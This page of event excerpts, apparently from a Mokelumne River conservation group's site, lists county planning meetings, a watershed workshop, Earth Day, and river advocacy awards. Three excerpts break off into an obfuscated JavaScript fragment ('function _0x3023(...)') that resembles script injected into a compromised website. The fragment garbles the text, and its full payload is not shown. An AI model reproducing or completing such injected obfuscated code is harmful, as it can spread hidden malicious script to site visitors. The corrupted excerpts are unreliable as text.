Board of Supervisors/ Planning Commission meeting: General Plan Update

Important General Plan meeting!! June 30, likely date for joint Board of Supervisors/ Planning Commission meeting. This will be an evening meeting (5th Tuesday of the month).The timing is not set yet. Purpose of joint meeting is General Plan related. Possible location- San Andreas Town Hall. More specific information and staff reports will become available later. Please spread the word about this meeting and look for more information as the date... Read More

The Mokelumne River Watershed – MokeWise Public Workshop

The Mokelumne River Watershed  – It’s your watershed, your future – your voice matters! Please join us for the fifth and final public workshop of the MokeWISE program   Light refreshments provided! Location: San Joaquin Farm Bureau 3290 Ad Art Road, Stockton, CA 95215 Date: Monday June 1, 2015 Start Time: 6:30 PM   From Jackson: Take CA-88W and merge onto CA-99N. Take the Cherokee Road exit and cross over Cherokee Road. 3290... Read More

AMADOR COUNTY ENERGY ACTION PLAN PRESENTATION TO BOARD OF SUPERVISORS, REQUEST FOR APPROVAL

Tuesday, May 26, 2015 (9:30AM – 10:30AM) Hosted by Sierra Business Council Climate Planning Team @ Amador County Board Chambers EVENT DETAILS This presentation will be to the Amador County Board of Supervisors with a request for approval of the Energy Action Plan. If you are unable to attend the meeting and would like to show your support for the Energy Action Plan, public comment can be submitted by email to Chuck Beatty, Planner. HOSTED... Read More

The Moke Lobby Train leaves Monday, May 11th!

Join Foothill Conservancy Monday, May 11th for California Rivers Day in Sacramento. Want to come lobby or volunteer for tabling at the Califorinia Rivers Fair? Tickets for the evening reception (our own Katherine Evatt will be receiving a Capitol Rivers Award) are still available. For more information, email Cecily. function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

Board of Supervisors – May 12

Next Board of Supervisors meeting May 12, 9 a.m . Agenda on County website. Item 22 below:              22. The Upper Mokelumne River Watershed Agency (UMRWA) is requesting members support to commit up to $100,000 toward the cost of a proposed State study to evaluate the suitability of the Mokelumne Rive for possible designation under the California Wild and Scenic Act. Calaveras County’s estimated share would be $6,000. function... Read More

Celebrate our planet this Sunday – April 26

On April 26, the 16th annual Earth Day celebration will be held at Utica Park in Angels Camp from 11 a.m. to 6 p.m. The event is free and is organized by community volunteers, said one of its organizers, Mark Dyken.  “It’s like an all day, outdoor, free concert festival,” Dyken said.  There will be live entertainment, Earth friendly information booths, food and activities for children.  Entertainment will be provided by Nicholas Lefler,... Read More

River Reflections continues; grand finale event

After nearly a year of implementing the River Reflections Mokelumne River Arts Project, AmadorArts and its project partners invite the public to “Party at Pardee.”  On Saturday, May 9, from 2 to 5 pm, the finale event will focus on the performing arts to celebrate the conclusion of the project which began last summer. What better place than at the nearby reservoir which holds the Mokelumne River before it begins its journey to the East Bay…the... Read More

Before and After the Flames: Fire, Forests and Climate Change in the Sierra Nevada

Implications for current and future management Join U.S. Forest Service forest ecologists in Martell and learn more about the forces shaping Sierra forests now and in the future. Thursday, April 30, 7 pm GSA Building, Airport Road Martell, CA For more information, call 209-295-6200 or send an e-mail to the Amador Fire Safe Council.  function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

Mokelumne advocate to receive river award

After the daytime event May 11, the Capital River Awards will honor Senator Fran Pavley, former Assemblyman Roger Dickinson, Assemblyman Das Williams and 25-year Mokelumne River advocate Katherine Evatt, the president of the Foothill Conservancy. The festive event will be held at the Capitol Ballrooms from 5 pm to 7 pm. Tickets are $50 each, but are on sale today — Earth Day — for half off. Proceeds benefit Friends of the River’s... Read More

See DamNation Friday, April 10th

See DamNation Friday, April 10th with FOR at Pipeworks in Sacramento Friday, April 10th at 7pm with discussion to follow at Pipeworks, Sacramento 116 N 16th St, Sacramento, CA 95814 Gather a few friends and get your free tickets today and join FOR and our generous host, Sacramento Pipeworks Climbing and Fitness, to view this powerful film odyssey across America that explores the sea change in our national attitude from pride in big dams as engineering... Read More